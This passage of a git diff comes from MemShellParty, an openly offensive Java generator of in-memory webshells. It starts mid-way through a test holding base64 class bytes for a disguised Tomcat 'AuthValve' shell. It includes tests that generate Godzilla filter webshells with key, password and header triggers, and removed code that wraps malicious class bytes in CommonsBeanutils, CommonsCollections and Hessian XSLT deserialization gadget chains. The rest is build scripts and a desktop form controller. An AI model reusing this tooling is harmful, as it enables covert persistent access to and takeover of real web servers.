DAALAAwJAAIAfQEAB3NldE5leHQBAB4oTG9yZy9hcGFjaGUvY2F0YWxpbmEvVmFsdmU7KVYBABBpc0FzeW5jU3VwcG9ydGVkAQADKClaAQARYmFja2dyb3VuZFByb2Nlc3MBAA1Db25zdGFudFZhbHVlAQAEQ29kZQEADVN0YWNrTWFwVGFibGUBAApFeGNlcHRpb25zACEAAgAEAAEABgACAAgABwAIAAEAhAAAAAIACgAAAAsADAAAAAgAAQANAA4AAQCFAAAAEQABAAEAAAAFKrcAELEAAAAAAAEAEQASAAIAhQAAAGYABAAFAAAARCorsgAatgAgtwAjTi3GACMqLbcAJzoELLYALbsAL1kZBLcAMhI0tgA4tgA7tgBBsacACE4ttgBEKrYASCssuQBKAwCxAAEAAAAvADMAGAABAIYAAAAIAAMwQgcAGAQAhwAAAAYAAgAUABYAAgAhAB4AAQCFAAAADgABAAIAAAACK7AAAAAAAAIAJAAlAAIAhQAAAJMABAAEAAAAWipNK04AAacAA00SUrgAV7YAWhJctgBgmQAYBr0ATlkDEmJTWQQSZFNZBStTpwAVBr0ATlkDEmZTWQQSaFNZBStTTrsAbFkttwBvBLYAc7YAd7YAfE2nAAMssAAAAAEAhgAAACcABv0ABAcAAgcATv8ABAACBwACBwBOAAEHAFD8AAAHAFAkUQcAahYAhwAAAAQAAQBMAAEARQBGAAEAhQAAABEAAQABAAAABSq0AH6wAAAAAAABAH8AgAABAIUAAAASAAIAAgAAAAYqK7UAfrEAAAAAAAEAgQCCAAEAhQAAAA4AAQABAAAAAgOsAAAAAAABAIMADgABAIUAAAANAAAAAQAAAAGxAAAAAAAA");
|
||||||
|
assertEquals("org.apache.http.web.handlers.IFNvp.AuthValve", className);
|
||||||
|
}
|
||||||
|
}
|
||||||
+7
-20
@@ -9,9 +9,12 @@ import org.springframework.http.ResponseEntity;
|
|||||||
|
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
|
import java.util.Objects;
|
||||||
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||||
|
import static org.junit.jupiter.api.Assertions.assertFalse;
|
||||||
import static org.junit.jupiter.api.Assertions.assertNotNull;
|
import static org.junit.jupiter.api.Assertions.assertNotNull;
|
||||||
|
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -26,31 +29,15 @@ public class ConfigControllerIntegrationTest {
|
|||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void testConfigEndpoint() {
|
public void testConfigEndpoint() {
|
||||||
ResponseEntity<Map> response = restTemplate.getForEntity("/config", Map.class);
|
ResponseEntity<Map> response = restTemplate.getForEntity("/api/config", Map.class);
|
||||||
|
|
||||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||||
|
assertNotNull(response.getBody());
|
||||||
Map body = response.getBody();
|
|
||||||
assertNotNull(body);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void testConfigServersEndpoint() {
|
public void testConfigServersEndpoint() {
|
||||||
ResponseEntity<Map> response = restTemplate.getForEntity("/config/servers", Map.class);
|
ResponseEntity<Map> response = restTemplate.getForEntity("/api/config/servers", Map.class);
|
||||||
|
|
||||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||||
|
assertNotNull(response.getBody());
|
||||||
Map body = response.getBody();
|
|
||||||
assertNotNull(body);
|
|
||||||
}
|
|
||||||
|
|
||||||
@Test
|
|
||||||
public void testConfigPackersEndpoint() {
|
|
||||||
ResponseEntity<List> response = restTemplate.getForEntity("/config/packers", List.class);
|
|
||||||
|
|
||||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
|
||||||
|
|
||||||
List<String> body = response.getBody();
|
|
||||||
assertNotNull(body);
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
+79
@@ -0,0 +1,79 @@
|
|||||||
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.Server;
|
||||||
|
import com.reajason.javaweb.boot.dto.MemShellGenerateRequest;
|
||||||
|
import com.reajason.javaweb.boot.dto.MemShellGenerateResponse;
|
||||||
|
import com.reajason.javaweb.boot.dto.PackerRequestSpecDTO;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
import org.springframework.beans.factory.annotation.Autowired;
|
||||||
|
import org.springframework.boot.test.context.SpringBootTest;
|
||||||
|
import org.springframework.boot.test.web.client.TestRestTemplate;
|
||||||
|
import org.springframework.http.HttpStatus;
|
||||||
|
import org.springframework.http.ResponseEntity;
|
||||||
|
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||||
|
import static org.junit.jupiter.api.Assertions.assertNotNull;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/9/16
|
||||||
|
*/
|
||||||
|
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
|
||||||
|
class MemShellGeneratorControllerTest {
|
||||||
|
|
||||||
|
@Autowired
|
||||||
|
TestRestTemplate restTemplate;
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void generateShell() {
|
||||||
|
MemShellGenerateRequest request = buildRequest("ScriptEngine", null);
|
||||||
|
ResponseEntity<MemShellGenerateResponse> response = restTemplate.postForEntity(
|
||||||
|
"/api/memshell/generate", request, MemShellGenerateResponse.class);
|
||||||
|
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||||
|
assertNotNull(response.getBody());
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void generateJspxShellWithCustomConfig() {
|
||||||
|
MemShellGenerateRequest request = buildRequest("JSPX", Map.of("unicode", true));
|
||||||
|
ResponseEntity<MemShellGenerateResponse> response = restTemplate.postForEntity(
|
||||||
|
"/api/memshell/generate", request, MemShellGenerateResponse.class);
|
||||||
|
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||||
|
assertNotNull(response.getBody());
|
||||||
|
}
|
||||||
|
|
||||||
|
private static MemShellGenerateRequest buildRequest(String packerName, Map<String, Object> packerConfig) {
|
||||||
|
MemShellGenerateRequest request = new MemShellGenerateRequest();
|
||||||
|
request.setShellConfig(ShellConfig.builder()
|
||||||
|
.server(Server.Tomcat)
|
||||||
|
.shellType(ShellType.FILTER)
|
||||||
|
.shellTool(ShellTool.Godzilla)
|
||||||
|
.shrink(true)
|
||||||
|
.debug(true)
|
||||||
|
.serverVersion("Unknown")
|
||||||
|
.targetJreVersion(50)
|
||||||
|
.build());
|
||||||
|
request.setInjectorConfig(InjectorConfig.builder()
|
||||||
|
.urlPattern("/*")
|
||||||
|
.build());
|
||||||
|
PackerRequestSpecDTO packerRequestSpecDTO = new PackerRequestSpecDTO();
|
||||||
|
packerRequestSpecDTO.setName(packerName);
|
||||||
|
if (packerConfig != null) {
|
||||||
|
packerRequestSpecDTO.setConfig(packerConfig);
|
||||||
|
}
|
||||||
|
request.setPackerSpec(packerRequestSpecDTO);
|
||||||
|
MemShellGenerateRequest.ShellToolConfigDTO shellToolConfigDTO = new MemShellGenerateRequest.ShellToolConfigDTO();
|
||||||
|
shellToolConfigDTO.setGodzillaKey("key");
|
||||||
|
shellToolConfigDTO.setGodzillaPass("pass");
|
||||||
|
shellToolConfigDTO.setHeaderName("User-Agent");
|
||||||
|
shellToolConfigDTO.setHeaderValue("hello");
|
||||||
|
request.setShellToolConfig(shellToolConfigDTO);
|
||||||
|
return request;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,11 @@
|
|||||||
|
plugins {
|
||||||
|
`kotlin-dsl`
|
||||||
|
}
|
||||||
|
|
||||||
|
repositories {
|
||||||
|
mavenCentral()
|
||||||
|
}
|
||||||
|
|
||||||
|
dependencies {
|
||||||
|
implementation("com.vanniktech:gradle-maven-publish-plugin:0.35.0")
|
||||||
|
}
|
||||||
@@ -0,0 +1 @@
|
|||||||
|
rootProject.name = "build-logic"
|
||||||
@@ -0,0 +1,38 @@
|
|||||||
|
plugins {
|
||||||
|
id("com.vanniktech.maven.publish")
|
||||||
|
}
|
||||||
|
|
||||||
|
mavenPublishing {
|
||||||
|
publishToMavenCentral(automaticRelease = true, validateDeployment = true)
|
||||||
|
signAllPublications()
|
||||||
|
coordinates(
|
||||||
|
"io.github.reajason",
|
||||||
|
project.name,
|
||||||
|
rootProject.version as String
|
||||||
|
)
|
||||||
|
|
||||||
|
pom {
|
||||||
|
name.set("MemShellParty")
|
||||||
|
description.set(project.description)
|
||||||
|
url.set("https://github.com/ReaJason/MemShellParty")
|
||||||
|
inceptionYear.set("2025")
|
||||||
|
licenses {
|
||||||
|
license {
|
||||||
|
name.set("MIT")
|
||||||
|
url.set("https://spdx.org/licenses/MIT.html")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
developers {
|
||||||
|
developer {
|
||||||
|
id.set("reajason")
|
||||||
|
name.set("ReaJason")
|
||||||
|
url.set("https://reajason.eu.org")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
scm {
|
||||||
|
connection.set("scm:git:https://github.com/ReaJason/MemShellParty.git")
|
||||||
|
developerConnection.set("scm:git:ssh://github.com/ReaJason/MemShellParty.git")
|
||||||
|
url.set("https://github.com/ReaJason/MemShellParty")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
-119
@@ -1,119 +0,0 @@
|
|||||||
import com.vanniktech.maven.publish.SonatypeHost
|
|
||||||
|
|
||||||
version = '1.7.0'
|
|
||||||
|
|
||||||
buildscript {
|
|
||||||
repositories {
|
|
||||||
mavenCentral()
|
|
||||||
gradlePluginPortal()
|
|
||||||
}
|
|
||||||
dependencies {
|
|
||||||
classpath 'com.vanniktech:gradle-maven-publish-plugin:0.31.0'
|
|
||||||
classpath "io.freefair.lombok:io.freefair.lombok.gradle.plugin:8.13.1"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
allprojects {
|
|
||||||
group = 'io.github.reajason'
|
|
||||||
|
|
||||||
if (it.name != 'memshell-party-bom') {
|
|
||||||
apply(plugin: 'java')
|
|
||||||
apply(plugin: 'idea')
|
|
||||||
apply(plugin: 'jacoco')
|
|
||||||
apply(plugin: 'io.freefair.lombok')
|
|
||||||
}
|
|
||||||
|
|
||||||
apply(plugin: 'com.vanniktech.maven.publish')
|
|
||||||
|
|
||||||
mavenPublishing {
|
|
||||||
publishToMavenCentral(SonatypeHost.CENTRAL_PORTAL)
|
|
||||||
signAllPublications()
|
|
||||||
coordinates("io.github.reajason", project.name, rootProject.version as String)
|
|
||||||
|
|
||||||
pom {
|
|
||||||
name = 'MemShellParty'
|
|
||||||
description = project.description
|
|
||||||
url = 'https://github.com/ReaJason/MemShellParty'
|
|
||||||
inceptionYear = '2025'
|
|
||||||
licenses {
|
|
||||||
license {
|
|
||||||
name = 'MIT'
|
|
||||||
url = 'https://spdx.org/licenses/MIT.html'
|
|
||||||
}
|
|
||||||
}
|
|
||||||
developers {
|
|
||||||
developer {
|
|
||||||
id = 'reajason'
|
|
||||||
name = 'ReaJason'
|
|
||||||
url = "https://reajason.eu.org"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
scm {
|
|
||||||
connection = 'scm:git:https://github.com/ReaJason/MemShellParty.git'
|
|
||||||
developerConnection = 'scm:git:ssh://github.com/ReaJason/MemShellParty.git'
|
|
||||||
url = 'https://github.com/ReaJason/MemShellParty'
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (it.name != 'memshell-party-bom' && !it.name.startsWith("vul")) {
|
|
||||||
dependencies {
|
|
||||||
implementation platform(project(':memshell-party-bom'))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
repositories {
|
|
||||||
mavenCentral()
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
idea {
|
|
||||||
module {
|
|
||||||
excludeDirs += file('src')
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
jacocoTestReport {
|
|
||||||
reports {
|
|
||||||
xml.required = true
|
|
||||||
csv.required = true
|
|
||||||
html.required = true
|
|
||||||
}
|
|
||||||
afterEvaluate {
|
|
||||||
executionData.from fileTree(rootDir) {
|
|
||||||
include '**/build/jacoco/**/*.exec'
|
|
||||||
}
|
|
||||||
|
|
||||||
sourceDirectories = files('generator/src/main/java')
|
|
||||||
|
|
||||||
classDirectories.from(
|
|
||||||
fileTree('generator/build/classes/java/main') {
|
|
||||||
excludes = [
|
|
||||||
'com/reajason/javaweb/memshell/**/godzilla/**',
|
|
||||||
'com/reajason/javaweb/memshell/**/injector/**',
|
|
||||||
'com/reajason/javaweb/memshell/**/command/**',
|
|
||||||
'com/reajason/javaweb/config/**'
|
|
||||||
]
|
|
||||||
}
|
|
||||||
)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
tasks.register('publishAllToMavenCentral') {
|
|
||||||
def isSnapshot = rootProject.version.toString().endsWith('-SNAPSHOT')
|
|
||||||
if (isSnapshot) {
|
|
||||||
dependsOn ':memshell-party-bom:publishAllPublicationsToMavenCentralRepository'
|
|
||||||
dependsOn ':memshell-party-common:publishAllPublicationsToMavenCentralRepository'
|
|
||||||
dependsOn ':deserialize:publishAllPublicationsToMavenCentralRepository'
|
|
||||||
dependsOn ':memshell:publishAllPublicationsToMavenCentralRepository'
|
|
||||||
dependsOn ':memshell-java8:publishAllPublicationsToMavenCentralRepository'
|
|
||||||
dependsOn ':generator:publishAllPublicationsToMavenCentralRepository'
|
|
||||||
} else {
|
|
||||||
dependsOn ':memshell-party-bom:publishAndReleaseToMavenCentral'
|
|
||||||
dependsOn ':memshell-party-common:publishAndReleaseToMavenCentral'
|
|
||||||
dependsOn ':deserialize:publishAndReleaseToMavenCentral'
|
|
||||||
dependsOn ':memshell:publishAndReleaseToMavenCentral'
|
|
||||||
dependsOn ':memshell-java8:publishAndReleaseToMavenCentral'
|
|
||||||
dependsOn ':generator:publishAndReleaseToMavenCentral'
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,27 @@
|
|||||||
|
plugins {
|
||||||
|
id("java")
|
||||||
|
id("idea")
|
||||||
|
id("com.vanniktech.maven.publish") version "0.35.0" apply false
|
||||||
|
}
|
||||||
|
|
||||||
|
idea {
|
||||||
|
module {
|
||||||
|
excludeDirs.add(file("src"))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
version = "2.7.0-SNAPSHOT"
|
||||||
|
|
||||||
|
tasks.register("publishAllToMavenCentral") {
|
||||||
|
dependsOn(":memshell-party-common:publishToMavenCentral")
|
||||||
|
dependsOn(":packer:publishToMavenCentral")
|
||||||
|
dependsOn(":generator:publishToMavenCentral")
|
||||||
|
dependsOn(":thirdparty:thirdparty-tomcat:publishToMavenCentral")
|
||||||
|
}
|
||||||
|
|
||||||
|
tasks.register("publishAllToMavenLocal") {
|
||||||
|
dependsOn(":memshell-party-common:publishToMavenLocal")
|
||||||
|
dependsOn(":packer:publishToMavenLocal")
|
||||||
|
dependsOn(":generator:publishToMavenLocal")
|
||||||
|
dependsOn(":thirdparty:thirdparty-tomcat:publishToMavenLocal")
|
||||||
|
}
|
||||||
@@ -1,28 +0,0 @@
|
|||||||
group = 'io.github.reajason'
|
|
||||||
description = "Java deserialize payload for MemShellParty"
|
|
||||||
version = rootProject.version
|
|
||||||
|
|
||||||
dependencies {
|
|
||||||
implementation project(":memshell-party-common")
|
|
||||||
implementation 'net.bytebuddy:byte-buddy'
|
|
||||||
|
|
||||||
implementation 'com.caucho:hessian:4.0.66'
|
|
||||||
implementation 'commons-beanutils:commons-beanutils:1.9.2'
|
|
||||||
implementation 'commons-collections:commons-collections:3.2.1'
|
|
||||||
implementation 'org.apache.commons:commons-collections4:4.0'
|
|
||||||
|
|
||||||
testImplementation platform('org.junit:junit-bom')
|
|
||||||
testImplementation 'org.junit.jupiter:junit-jupiter'
|
|
||||||
}
|
|
||||||
|
|
||||||
java {
|
|
||||||
toolchain {
|
|
||||||
languageVersion = JavaLanguageVersion.of(8)
|
|
||||||
}
|
|
||||||
sourceCompatibility = JavaVersion.VERSION_1_8
|
|
||||||
targetCompatibility = JavaVersion.VERSION_1_8
|
|
||||||
}
|
|
||||||
|
|
||||||
test {
|
|
||||||
useJUnitPlatform()
|
|
||||||
}
|
|
||||||
@@ -1,12 +0,0 @@
|
|||||||
package com.reajason.javaweb.deserialize;
|
|
||||||
|
|
||||||
import lombok.Data;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/13
|
|
||||||
*/
|
|
||||||
@Data
|
|
||||||
public class DeserializeConfig {
|
|
||||||
private PayloadType payloadType;
|
|
||||||
}
|
|
||||||
-24
@@ -1,24 +0,0 @@
|
|||||||
package com.reajason.javaweb.deserialize;
|
|
||||||
|
|
||||||
import com.caucho.hessian.io.Hessian2Output;
|
|
||||||
import lombok.SneakyThrows;
|
|
||||||
|
|
||||||
import java.io.ByteArrayOutputStream;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/2/19
|
|
||||||
*/
|
|
||||||
public class Hessian2DeserializeGenerator {
|
|
||||||
@SneakyThrows
|
|
||||||
public static byte[] generate(byte[] bytes, String className, DeserializeConfig config) {
|
|
||||||
PayloadType payloadType = config.getPayloadType();
|
|
||||||
Object obj = payloadType.getPayload().generate(bytes, className);
|
|
||||||
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
|
||||||
Hessian2Output hessian2Output = new Hessian2Output(bos);
|
|
||||||
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
|
|
||||||
hessian2Output.writeObject(obj);
|
|
||||||
hessian2Output.close();
|
|
||||||
return bos.toByteArray();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
-24
@@ -1,24 +0,0 @@
|
|||||||
package com.reajason.javaweb.deserialize;
|
|
||||||
|
|
||||||
import com.caucho.hessian.io.HessianOutput;
|
|
||||||
import lombok.SneakyThrows;
|
|
||||||
|
|
||||||
import java.io.ByteArrayOutputStream;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/2/19
|
|
||||||
*/
|
|
||||||
public class HessianDeserializeGenerator {
|
|
||||||
@SneakyThrows
|
|
||||||
public static byte[] generate(byte[] bytes, String className, DeserializeConfig config) {
|
|
||||||
PayloadType payloadType = config.getPayloadType();
|
|
||||||
Object obj = payloadType.getPayload().generate(bytes, className);
|
|
||||||
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
|
||||||
HessianOutput hessianOutput = new HessianOutput(bos);
|
|
||||||
hessianOutput.getSerializerFactory().setAllowNonSerializable(true);
|
|
||||||
hessianOutput.writeObject(obj);
|
|
||||||
hessianOutput.close();
|
|
||||||
return bos.toByteArray();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
-25
@@ -1,25 +0,0 @@
|
|||||||
package com.reajason.javaweb.deserialize;
|
|
||||||
|
|
||||||
import lombok.SneakyThrows;
|
|
||||||
|
|
||||||
import java.io.ByteArrayOutputStream;
|
|
||||||
import java.io.ObjectOutputStream;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/13
|
|
||||||
*/
|
|
||||||
public class JavaDeserializeGenerator {
|
|
||||||
|
|
||||||
@SneakyThrows
|
|
||||||
public static byte[] generate(byte[] bytes, DeserializeConfig config) {
|
|
||||||
PayloadType payloadType = config.getPayloadType();
|
|
||||||
Object obj = payloadType.getPayload().generate(bytes);
|
|
||||||
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
|
||||||
ObjectOutputStream oos = new ObjectOutputStream(baos);
|
|
||||||
oos.writeObject(obj);
|
|
||||||
oos.flush();
|
|
||||||
oos.close();
|
|
||||||
return baos.toByteArray();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,28 +0,0 @@
|
|||||||
package com.reajason.javaweb.deserialize;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/13
|
|
||||||
*/
|
|
||||||
public interface Payload {
|
|
||||||
/**
|
|
||||||
* 将恶意类字节流封装成序列化对象
|
|
||||||
*
|
|
||||||
* @param bytes 恶意类字节流
|
|
||||||
* @return 序列化对象
|
|
||||||
*/
|
|
||||||
default Object generate(byte[] bytes) {
|
|
||||||
throw new UnsupportedOperationException();
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 将恶意类字节流封装成序列化对象
|
|
||||||
*
|
|
||||||
* @param bytes 恶意类字节流
|
|
||||||
* @param className 恶意类名
|
|
||||||
* @return 序列化对象
|
|
||||||
*/
|
|
||||||
default Object generate(byte[] bytes, String className) {
|
|
||||||
throw new UnsupportedOperationException();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,47 +0,0 @@
|
|||||||
package com.reajason.javaweb.deserialize;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.deserialize.payload.hessian.XSLTScriptEngine;
|
|
||||||
import com.reajason.javaweb.deserialize.payload.java.*;
|
|
||||||
import lombok.Getter;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/13
|
|
||||||
*/
|
|
||||||
@Getter
|
|
||||||
public enum PayloadType {
|
|
||||||
/**
|
|
||||||
* CB 链
|
|
||||||
*/
|
|
||||||
CommonsBeanutils16(new CommonsBeanutils16()),
|
|
||||||
CommonsBeanutils18(new CommonsBeanutils18()),
|
|
||||||
CommonsBeanutils19(new CommonsBeanutils19()),
|
|
||||||
CommonsBeanutils110(new CommonsBeanutils110()),
|
|
||||||
|
|
||||||
/**
|
|
||||||
* CC 链
|
|
||||||
*/
|
|
||||||
CommonsCollections3(new CommonCollections3()),
|
|
||||||
CommonsCollections4(new CommonCollections4()),
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Hessian XSLT write
|
|
||||||
*/
|
|
||||||
XSLTScriptEngine(new XSLTScriptEngine())
|
|
||||||
;
|
|
||||||
|
|
||||||
private final Payload payload;
|
|
||||||
|
|
||||||
PayloadType(Payload payload) {
|
|
||||||
this.payload = payload;
|
|
||||||
}
|
|
||||||
|
|
||||||
public static PayloadType getPayloadType(String payloadType) {
|
|
||||||
for (PayloadType value : values()) {
|
|
||||||
if (value.name().equals(payloadType)) {
|
|
||||||
return value;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
throw new IllegalArgumentException("unknown payload type: " + payloadType);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,33 @@
|
|||||||
|
plugins {
|
||||||
|
id("java")
|
||||||
|
id("application")
|
||||||
|
}
|
||||||
|
|
||||||
|
group = "com.reajason.javaweb"
|
||||||
|
version = rootProject.version
|
||||||
|
|
||||||
|
java {
|
||||||
|
toolchain {
|
||||||
|
languageVersion = JavaLanguageVersion.of(8)
|
||||||
|
}
|
||||||
|
sourceCompatibility = JavaVersion.VERSION_1_8
|
||||||
|
targetCompatibility = JavaVersion.VERSION_1_8
|
||||||
|
}
|
||||||
|
|
||||||
|
dependencies {
|
||||||
|
implementation(project(":generator"))
|
||||||
|
implementation(project(":packer"))
|
||||||
|
implementation("com.formdev:flatlaf:3.7")
|
||||||
|
implementation("com.miglayout:miglayout-swing:5.3")
|
||||||
|
|
||||||
|
testImplementation(libs.junit.jupiter)
|
||||||
|
testRuntimeOnly(libs.junit.platform.launcher)
|
||||||
|
}
|
||||||
|
|
||||||
|
application {
|
||||||
|
mainClass.set("com.reajason.javaweb.desktop.memshell.MemShellDesktopApplication")
|
||||||
|
}
|
||||||
|
|
||||||
|
tasks.test {
|
||||||
|
useJUnitPlatform()
|
||||||
|
}
|
||||||
+13
@@ -0,0 +1,13 @@
|
|||||||
|
package com.reajason.javaweb.desktop.memshell;
|
||||||
|
|
||||||
|
import com.formdev.flatlaf.FlatLightLaf;
|
||||||
|
import com.reajason.javaweb.desktop.memshell.ui.MemShellGeneratorFrame;
|
||||||
|
|
||||||
|
import javax.swing.*;
|
||||||
|
|
||||||
|
public class MemShellDesktopApplication {
|
||||||
|
public static void main(String[] args) {
|
||||||
|
FlatLightLaf.setup();
|
||||||
|
SwingUtilities.invokeLater(() -> new MemShellGeneratorFrame().setVisible(true));
|
||||||
|
}
|
||||||
|
}
|
||||||
+331
@@ -0,0 +1,331 @@
|
|||||||
|
package com.reajason.javaweb.desktop.memshell.controller;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
|
||||||
|
import com.reajason.javaweb.desktop.memshell.model.PackerCategoryModel;
|
||||||
|
import com.reajason.javaweb.desktop.memshell.model.PackerEntryModel;
|
||||||
|
import com.reajason.javaweb.desktop.memshell.model.PackerSchemaFieldModel;
|
||||||
|
import com.reajason.javaweb.desktop.memshell.service.ConfigCatalogService;
|
||||||
|
import com.reajason.javaweb.desktop.memshell.validation.MemShellValidator;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
|
||||||
|
import java.util.*;
|
||||||
|
|
||||||
|
public class MemShellFormController {
|
||||||
|
private final ConfigCatalogService configCatalogService;
|
||||||
|
private final MemShellValidator validator;
|
||||||
|
private final ConfigCatalogService.ConfigCatalog catalog;
|
||||||
|
private final MemShellFormState state = new MemShellFormState();
|
||||||
|
|
||||||
|
public MemShellFormController(ConfigCatalogService configCatalogService, MemShellValidator validator) {
|
||||||
|
this.configCatalogService = configCatalogService;
|
||||||
|
this.validator = validator;
|
||||||
|
this.catalog = configCatalogService.load();
|
||||||
|
reconcileAfterServerChange(true);
|
||||||
|
reconcilePackerSelection();
|
||||||
|
}
|
||||||
|
|
||||||
|
public ConfigCatalogService getConfigCatalogService() { return configCatalogService; }
|
||||||
|
public MemShellFormState getState() { return state; }
|
||||||
|
public ConfigCatalogService.ConfigCatalog getCatalog() { return catalog; }
|
||||||
|
public MemShellValidator getValidator() { return validator; }
|
||||||
|
|
||||||
|
public List<String> getServers() {
|
||||||
|
return new ArrayList<>(catalog.getServers().keySet());
|
||||||
|
}
|
||||||
|
|
||||||
|
public List<String> getServerVersionOptions() {
|
||||||
|
return configCatalogService.getServerVersionOptions(state.getServer());
|
||||||
|
}
|
||||||
|
|
||||||
|
public List<String> getShellTools() {
|
||||||
|
Map<String, List<String>> toolMap = catalog.getCore().get(state.getServer());
|
||||||
|
if (toolMap == null) return Collections.emptyList();
|
||||||
|
LinkedHashSet<String> tools = new LinkedHashSet<>(toolMap.keySet());
|
||||||
|
tools.add(ShellTool.Custom);
|
||||||
|
return new ArrayList<>(tools);
|
||||||
|
}
|
||||||
|
|
||||||
|
public List<String> getCustomShellTypes() {
|
||||||
|
List<String> values = catalog.getServers().get(state.getServer());
|
||||||
|
return new ArrayList<String>(values == null ? Collections.<String>emptyList() : values);
|
||||||
|
}
|
||||||
|
|
||||||
|
public List<String> getShellTypesForCurrentTool() {
|
||||||
|
Map<String, List<String>> toolMap = catalog.getCore().get(state.getServer());
|
||||||
|
if (toolMap == null) return Collections.emptyList();
|
||||||
|
if (ShellTool.Custom.equals(state.getShellTool())) {
|
||||||
|
return getCustomShellTypes();
|
||||||
|
}
|
||||||
|
List<String> values = toolMap.get(state.getShellTool());
|
||||||
|
return new ArrayList<String>(values == null ? Collections.<String>emptyList() : values);
|
||||||
|
}
|
||||||
|
|
||||||
|
public List<PackerEntryModel> getFilteredPackers() {
|
||||||
|
List<PackerEntryModel> out = new ArrayList<>();
|
||||||
|
for (PackerCategoryModel c : catalog.getPackers()) {
|
||||||
|
for (PackerEntryModel p : c.getPackers()) {
|
||||||
|
if (p.isCategoryAnchor()) continue;
|
||||||
|
String name = p.getName();
|
||||||
|
String shellType = state.getShellType();
|
||||||
|
String server = state.getServer();
|
||||||
|
if (shellType != null && shellType.startsWith("Agent")) {
|
||||||
|
if (name.startsWith("Agent")) out.add(p);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (server != null && server.startsWith("XXL")) {
|
||||||
|
if (!name.startsWith("Agent")) out.add(p);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (!name.startsWith("Agent") && !name.toLowerCase(Locale.ROOT).startsWith("xxl")) {
|
||||||
|
out.add(p);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return out;
|
||||||
|
}
|
||||||
|
|
||||||
|
public PackerEntryModel getSelectedPackerEntry() {
|
||||||
|
String selected = state.getPackingMethod();
|
||||||
|
if (selected == null || selected.trim().isEmpty()) return null;
|
||||||
|
for (PackerCategoryModel c : catalog.getPackers()) {
|
||||||
|
for (PackerEntryModel p : c.getPackers()) {
|
||||||
|
if (selected.equals(p.getName())) return p;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
public List<PackerSchemaFieldModel> getSelectedPackerFields() {
|
||||||
|
PackerEntryModel p = getSelectedPackerEntry();
|
||||||
|
return p == null ? Collections.<PackerSchemaFieldModel>emptyList() : p.getFields();
|
||||||
|
}
|
||||||
|
|
||||||
|
public List<String> getCommandEncryptors() { return catalog.getCommandEncryptors(); }
|
||||||
|
